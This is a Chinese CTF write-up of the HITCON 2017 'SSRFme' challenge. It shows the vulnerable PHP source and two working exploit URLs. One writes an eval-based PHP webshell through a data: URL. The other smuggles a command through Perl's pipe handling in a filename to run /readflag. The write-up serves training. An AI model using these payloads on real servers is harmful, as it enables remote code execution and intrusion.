【HITCON 2017】SSRFme——最简单伪协议思路
【HITCON 2017】SSRFme
1. 看题
代码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
#sandbox/786c0b7e11c1e9322763fcc8090ef181
@mkdir($sandbox);
@chdir($sandbox); #更改当前工作目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); #escapeshellarg转义危险字符
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/786c0b7e11c1e9322763fcc8090ef181/filename中,其中filename为传入的Get参数。
例如进行url传参:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=www.baidu.com&filename=upload/test.php
此时访问沙盒内容:

实现了将get百度后的数据内容存储。
2. 路径泄露
试试路径泄露,直接访问本机根目录:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/&filename=upload/test.php
此时发现flag,就在根目录中:

但是GET命令并不能读文件,此时想的是通过一个远程主机写好马,然后get完之后将马存储在test.php中,实现远程写马。但是因为没有公网ip(还是穷),而且推测get完远程主机返回的不一定是php代码而是html,所以作罢,想想其他思路。
这里存在一个readflag,于是测试一下访问它:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php

感觉是读flag的脚本,那现在需要做的就是执行它。
3. 思路一:SSRF配合伪协议
联想到之前有个题目中是file_put_contents函数使用data伪协议控制其内容,这里想通过GET后加data伪协议实现写马,payload:
http://2c421d36-abcf-46cb-9985-dc13ad0966a4.node4.buuoj.cn:81/?url=data:text/plain,'<?php @eval($_POST['capt'])?>'&filename=upload/test.php
至于为什么需要引号,可以在linux中测试,如果不加引号,命令行会因为<?等符号解析错误。
此时因为写入的文件名称后缀可以是php,所以直接访问沙河中的php文件,再使用蚁剑连接。但是直接打开根目录的flag显示为空。所以在蚁剑中打开命令行,运行readflag:

4. 思路二:perl语言漏洞
这也是大部分题解中的思路,利用perl语言的漏洞:
因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。
先创建该文件:
?url=&filename=|/readflag
再执行命令:
?url=file:|readflag&filename=123
最后访问123文件即可。但是网上的Payload我都没成功。
5. 总结
- 对于ssrf首先还是想到伪协议
- perl语言的漏洞,管道符的利用
- 伪协议是看了网上题解都没有说的,所以“大话”最简单思路,敬请指正
【HITCON 2017】SSRFme——最简单伪协议思路的更多相关文章
- [HITCON 2017]SSRFme
explode() 字符串转数组,用 ,号分隔数组 @mkdir() 创建目录 @chdir() 改变目录 这两的效果一样,如果在/home/php 目录下,执行mkdir('var') 和 ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
- 伪协议触发onbeforeunload
根据MSDN描述,IE的onbeforeunload事件触发条件: 简单点来说就是页面URL发生改变时触发: * 关闭浏览器窗口 * 点击后退.前进.刷新.主页 * 点击链接到新页面 * 调用超链接的 ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- php 伪协议探究
0x01序 PHP伪协议探究 php中支持的伪协议有下面这么多 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs p ...
- Writing a Discard Server 写个抛弃服务器 世上最简单的协议
Netty.docs: User guide for 4.x https://netty.io/wiki/user-guide-for-4.x.html The most simplistic pro ...
- mac下自定义伪协议配置
之前查了很多资料,最近也在挖掘研究这方面的漏洞. windows的很简单,在注册表配置就好了,但是mac os 是unix的,没有注册表这么一说. 但是发现腾讯等配置了自定义等协议,例如:tencen ...
- [WEB安全]SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议 0x01 类型 file:/// dict:// sftp:// ldap:// tftp:// gopher:// file: ...
- CTF伪协议+preg_replace()函数的代码执行
一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
随机推荐
- 新一代开源流数据湖平台Apache Paimon入门实操-下
@ 目录 实战 写表 插入和覆盖数据 更新数据 删除数据 Merge Into 查询表 批量查询 时间旅行 批量增量查询 流式查询 时间旅行 ConsumerID 查询优化 系统表 表指定系统表 分区 ...
- Gin中间件开发
Gin是一个用Go语言编写的Web框架,它提供了一种简单的方式来创建HTTP路由和处理HTTP请求.中间件是Gin框架中的一个重要概念,它可以用来处理HTTP请求和响应,或者在处理请求之前和之后执行一 ...
- servlet系列:简介和基本使用以及工作流程
目录 一.简介 二.Servlet实现 三.基本使用 1.引入pom依赖 2.实现Servlet规范,重写service方法 3.配置web.xml 4.配置Tomcat 6.运行 四.Servlet ...
- IE浏览器不支持TextDecoder()的问题
IE浏览器不支持TextDecoder()方法,因此在进行Arrbuffer转string或中文时,出现未定义的错误.通过网上查找方法,可以通过引用第三方库进行解决. github地址:https:/ ...
- jQuery Mobile 使用中的问题
1.点击data-role="page"内的页面,会自动隐藏头部栏和尾部栏. 在data-role="header"或data-role="foote ...
- 番外1.ssh连接管理器
目录 本篇前瞻 项目背景 ssh连接管理器 优点 使用方式 配置 使用方法 快速开始 注意点 使用样例 本篇后记 本篇前瞻 学习完go语言基础的专栏,我们究竟写出怎么样的实用工具呢?我在github上 ...
- 《HelloGitHub》第 89 期
兴趣是最好的老师,HelloGitHub 让你对编程感兴趣! 简介 HelloGitHub 分享 GitHub 上有趣.入门级的开源项目. https://github.com/521xueweiha ...
- HTML一键打包EXE工具1.9.9发布 (包含最新版下载地址)
HTML一键打包EXE工具(HTML封装EXE,桌件)是一款能将任意HTML项目(网址)打包为单个EXE文件的工具,无需依赖浏览器和服务器,直接双击即可运行.该工具支持多种HTML项目类型,包括KRP ...
- Python 潮流周刊#21:如何提升及测量 Python 代码的性能?
你好,我是猫哥.这里每周分享优质的 Python.AI 及通用技术内容,大部分为英文.标题取自其中三则分享,不代表全部内容都是该主题,特此声明. 本周刊由 Python猫 出品,精心筛选国内外的 25 ...
- 高效数据管理:Java助力实现Excel数据验证
摘要:本文由葡萄城技术团队原创并首发.转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 前言 在Java中,开发者可以使用一些开源的库(如Apache POI ...